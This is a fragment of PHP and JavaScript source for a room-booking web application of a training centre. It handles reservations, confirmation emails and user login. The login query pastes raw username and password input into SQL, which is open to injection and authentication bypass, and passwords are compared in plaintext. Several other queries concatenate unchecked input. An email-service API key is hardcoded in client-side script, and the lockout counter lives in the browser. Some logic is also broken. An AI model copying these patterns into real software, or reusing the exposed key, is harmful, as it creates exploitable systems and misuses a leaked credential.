{selected_rooms:selected_rooms,local:rep,source:source,type:type}, success:function(data){ $('.selected_room').html(data); $('#notification-rep').html(''); } }); }); </script> <?php } else if($type=="save_booking") { $code_local = addslashes($_POST['code_local']); $selected_rooms = addslashes($_POST['selected_rooms']); $weekend = addslashes($_POST['weekend']); $date_from_ = $date_from = addslashes($_POST['date_from']); $date_to = addslashes($_POST['date_to']); $hour_from = addslashes($_POST['hour_from'].":00:00"); $hour_to = addslashes($_POST['hour_to'].":00:00");$simulation = addslashes($_POST['simulation']); $nbre_jr = 0; $salle_simulation = 0; $nom_reservant = addslashes($_POST['nom_reservant']); $phone_reservant = addslashes($_POST['phone_reservant']); $mail_reservant = addslashes($_POST['mail_reservant']); $description = addslashes(str_replace('"',"''",$_POST['description'])); $source = addslashes($_POST['source']); $check = "ok"; /*Prepare liste*/$lists=explode(",",$selected_rooms); $salle_select=""; $prix_locaux=""; $cout_locaux=0; $loc_concerne = 0; foreach($lists as &$value){ if($value==''){ $value=0;} else { $rsrv=$bd->query("SELECT *, DATE_FORMAT(date_from,'%d-%m-%Y') date_from,DATE_FORMAT(date_to,'%d-%m-%Y') date_to FROM booking B INNER JOIN local L ON B.code_local = L.code_local WHERE B.code_local = ".$value." AND date_from BETWEEN '".$date_from."' AND '".$date_to."' AND hour_from BETWEEN '".$hour_from."' AND '".$hour_to."' AND statut_reservation = 'VALIDEE' OR B.code_local = ".$value." AND date_to BETWEEN '".$date_from."' AND '".$date_to."' AND hour_to BETWEEN '".$hour_from."' AND '".$hour_to."' AND statut_reservation = 'VALIDEE' OR B.code_local = ".$value." AND '".$date_from."' BETWEEN date_from AND date_to AND '".$hour_from."' BETWEEN hour_from AND hour_to AND statut_reservation = 'VALIDEE' OR B.code_local = ".$value." AND '".$date_to."' BETWEEN date_from AND date_to AND '".$hour_to."' BETWEEN hour_from AND hour_to AND statut_reservation = 'VALIDEE'"); if($rsrv->rowCount()>0){ $check = "no"; break; $loc_concerne=$value; } } } if($check == "ok"){ $loc=$bd->query("SELECT DATE_FORMAT('".$date_from."','%d-%m-%Y') date_from, DATE_FORMAT('".$date_to."','%d-%m-%Y') date_to "); $r=$loc->fetch(); $duree = ((strtotime($date_to) - strtotime($date_from))/86400)+1; $jr_ouvrable = $samedi = $dimanche = 0; /* Nom Local */ $du = $r['date_from']; $au = $r['date_to']; while($date_from <= $date_to){ $day = date('w', strtotime($date_from)); if($day == 0){ $dimanche=$dimanche + 1; }else if($day== 6){ $samedi=$samedi + 1; }else{ $jr_ouvrable=$jr_ouvrable + 1; } $date_from = date('Y-m-d', strtotime( $date_from . " +1 days")); } if($weekend=="oui"){ $jr_ouvrable = $jr_ouvrable + $samedi + $dimanche;} if($jr_ouvrable>0 || $weekend == "oui"){ $booking_id=$bd->query("SELECT MAX(code_book) last FROM booking "); $id=$booking_id->fetch(); $code_book = $id['last'] + 1; // Save booking $lists=explode(",",$selected_rooms); $salle_select=""; $prix_locaux=""; $cout_locaux=0; foreach($lists as &$value){ if($value==''){ $value=0;} else { $lis=$bd->query("SELECT * FROM local WHERE code_local = ".$value." "); $l=$lis->fetch(); $salle_select = $salle_select.$l['nom_local'].", "; $prix_locaux = $prix_locaux.$l['prix_local']." $, "; $cout_locaux = $cout_locaux + $l['prix_local']; $bd->exec("INSERT INTO booking VALUE(null,".$code_book.",NOW(),'".$date_from_."','".$date_to."','".$hour_from."','".$hour_to."','".$simulation."','','','".$nom_reservant."','".$mail_reservant."','".$phone_reservant."','".$description."',".$value.",'ATTENTE-VALIDATION','')"); } } $mail_content = "<html><head></head><body><p>Bonjour ".$nom_reservant.",</p>Votre demande de réservation du local '".$salle_select."', du '".$du."' au '".$au."', a été transmise au Centre de Formation continue du Nord-Kivu. Vous serez notifié une fois que celle-ci sera traitée.</p></body></html> Le détail : <table class='table table-bordered table-condensed' border='1px'><tr><th>Local</th><th>Nombre des Jours réservés</th><th>Jours Non-ouvrable</th><th>Temps</th><th>Prix /jour</th><th>Coût reseravation</th></tr> <tr><td>".$salle_select."</td><td class='number'>".$jr_ouvrable." jour<small>(s)</small></td><td> ".$samedi." samedi<small>(s)</small> & ".$samedi." dimanche<small>(s)</small></td><td>".$du." au ".$au."<br>".$hour_from." à ".$hour_to."</td><td class='number'>".$prix_locaux." </td><td class='number'>".$cout_locaux*$jr_ouvrable." $</td> </table> <br> Description : <i>".$description."</i>"; $mail_content2 = "<html><head></head><body><p>Bonjour </p>Nous avons une nouvelle reservation. </p></body></html> Le détail sur la réservation : <table class='table table-bordered table-condensed' border='1px'><tr><th>Local</th><td>".$salle_select."</td></tr><tr><th>Nombre des Jours réservés</th><td>".$jr_ouvrable." jour<small>(s)</small> Avec ".$samedi." samedi<small>(s)</small> & ".$dimanche." dimanche<small>(s)</small></td></tr><tr><th>Temps</th><td>".$du." au ".$au."<br>".$hour_from." à ".$hour_to."</td></tr><tr><th>Prix /jour</th><td>".$prix_locaux." </td></tr><tr><th>Cout reservation</th><td>".$cout_locaux*$jr_ouvrable." $</td></tr>"; if($simulation == "OUI"){ $mail_content=$mail_content."<b>Besoin d'une salle de Simulation </b> "; $mail_content2=$mail_content2."<tr><th>Besoin d'une salle de Simulation </th><td>".$simulation."</td></tr>";} $mail_content=$mail_content."<div> <br/>Merci d'avoir choisi le CFNK <br><hr><b> Centre de Formation continue du Nord-Kivu</b><br>+243 970 780 356 <br><a href='https://cfnk.org'>WWW.CFNK.ORG</a></div>"; $mail_content2=$mail_content2." <tr><th>Réservé par </th><td>".$nom_reservant."</td></tr></tr><th>Télephone </th><td>".$phone_reservant."</td></tr><tr><th>Email</th><td>".$mail_reservant."</td></tr><tr><th>Description</th><td>".$description."</td></tr></table><div> <br/>Merci de vous connecter au <a href='https://booking.cfnk.org'>WWW.BOOKING.CFNK.ORG</a> Pour traiter cette demande. </div>"; ?> <script type="text/javascript"> $.extend($.gritter.options,{position:"top-left"}),$.gritter.add({title:"SIS-Booking | RESERVATION",text:"Votre réservation a été envoyée à l'équipe de gestion, celle-ci sera traitée et vous recevrez une réponse à la fin du traitement ! Merci de nous avoir choisi",class_name:"color success",time:"10000"}); $(".info_perso").addClass('hidden'); $("#detail").html(''); document.getElementById("form_book").reset(); $(".selected_room").html(""); $(".we").removeClass("btn-primary"); $(".we").addClass("btn-default"); $(".sim").removeClass("btn-primary"); $(".sim").addClass("btn-default"); var mail_booker = "<?php echo $mail_reservant;?>", name_booker = "<?php echo $nom_reservant;?>", objet ="<?php echo 'Nouvelle réservation - '.$salle_select;?>", tel = "<?php echo $phone_reservant;?>", mail_content = "<?php echo $mail_content;?>"; var mail_raf = "raf@cfnk.org", mail_dir = "dir@cfnk.org", mail_sec = "sec@cfnk.org", name_ = "Equipe CFNK", objet2 ="<?php echo 'Réservation -'.$salle_select;?>", mail_content2 = "<?php echo $mail_content2;?>"; if(tel !=='CFNK-TEAM'){ fetch("https://api.sendinblue.com/v3/smtp/email", { headers: { 'Accept': 'application/json', 'Content-Type': 'application/json', 'api-key':'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', }, method: "POST", body: JSON.stringify({"sender":{"name":"CFNK Réservation","email":"info@cfnk.org" }, "to":[ { "email":mail_booker, "name":name_booker } ], "subject":objet, "htmlContent":mail_content }) }) } fetch("https://api.sendinblue.com/v3/smtp/email", { headers: { 'Accept': 'application/json', 'Content-Type': 'application/json', 'api-key':'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', }, method: "POST", body: JSON.stringify({"sender":{"name":"CFNK - RESERVATION","email":"info@cfnk.org" }, "to":[ { "email":mail_raf, "name":name_ },{ "email":mail_dir, "name":name_ },{ "email":mail_sec, "name":name_ } ], "subject":objet2, "htmlContent":mail_content2 }) }) </script> <?php } else{ echo "Désolé la période demandée tombe malheureusement dans les jours non-ouvrables pour nous. Pour votre information nous travaillons du lundi au vendredi. Merci"; ?> <script type="text/javascript"> $.extend($.gritter.options,{position:"top-left"}),$.gritter.add({title:"SIS-Booking | RESERVATION",text:"Désolé la période demandée tombe malheureusement dans les jours non-ouvrables pour nous. Si vous voullez réserver le Weekend, marquez votre response dans le formulaire puis reselectionez le local. Merci ",class_name:"color danger",time:"8000"}); $(".info_perso").addClass('hidden'); </script> <?php } } else { $indispo =""; $loct=$bd->query("SELECT *, DATE_FORMAT(B.date_from,'%d-%m-%Y') date_from_,DATE_FORMAT(B.date_to,'%d-%m-%Y') date_to FROM booking B INNER JOIN local L ON B.code_local = L.code_local WHERE B.code_local = ".$loc_concerne." AND date_from BETWEEN '".$date_from."' AND '".$date_to."' AND hour_from BETWEEN '".$hour_from."' AND '".$hour_to."' "); while($ocp=$loct->fetch()){ $date_du = addslashes($ocp['date_from']); $date_au = $ocp['date_to']; $indispo = "<br>♦ ".$indispo." Du ".$date_du." au ".$date_au." & de ".$ocp['hour_from']." à ".$ocp['hour_to']; } echo "<b>Detail sur le moment d'indisponibilité</b>".$indispo; ?> <script type="text/javascript"> $.extend($.gritter.options,{position:"top-left"}),$.gritter.add({title:"SIS-Booking | RESERVATION",text:"Le·s local·aux n'est·ne sont pas disponible·s durant le la periode que vous demandez ! Detail <?php echo $indispo; ?> ",class_name:"color danger",time:"8000"}); $(".info_perso").addClass('hidden'); </script> <?php } } } $data['file'] = $_FILES; $data['text'] = $_POST; $obj = $data['text']; $_POST = (array)($obj); if(isset($_POST['type'])){ $type = $_POST['type'];} else{$type="";} /*+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++++++++++++++++++ CONNEXION +++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*/ if($type == "connexion_systeme") { $username=($_POST['username']); $password=($_POST['password']); $count=$_POST['count']; $conn=$bd->query("SELECT * FROM user WHERE username ='".$username."' AND password = '".$password."' OR mail = '".$username."' AND password = '".$password."' "); if($conn->rowCount()>0){ $resultat=$conn->fetch(); @ session_start(); $_SESSION['username']=$resultat['username']; $_SESSION['nom_complet']=$resultat['nom_complet']; $_SESSION['mail']=$resultat['mail']; $_SESSION['photo']=$resultat['photo']; $_SESSION['type_user']=$resultat['type_user']; ?> <script type="text/javascript"> window.location='index.php'; </script> <?php } else { if($count > 0){ $count = $count-1; ?> <script type="text/javascript"> $.extend($.gritter.options,{position:"top-left"}),$.gritter.add({title:"SIS-Booking| Echec Connexion",text:"Echec de connexion, vous avez entré le username ou le mot de passe incorrect !<hr> <i class='glyphicon glyphicon-alert'></i> Ils vous reste <?php echo $count; ?> tentatives avant que le compte ne soit bloqué ",class_name:"color danger",time:"20000"}); $("#count").val("<?php echo $count; ?>"); </script> <?php } else{ ?> <script type="text/javascript"> $.extend($.gritter.options,{position:"top-left"}),$.gritter.add({title:"SIS-Booking| Username Bloqué",text:"Votre compte est bloqué !<hr> <i class='glyphicon glyphicon-alert'></i> Contactez l'administrateur ",class_name:"color danger",time:"20000"}); </script><?php } } } ?> <script type="text/javascript"> $(document).ready(function(){ window.stopfonction = true; });</script> </html>
© 2017 -
ZeroByte.ID
.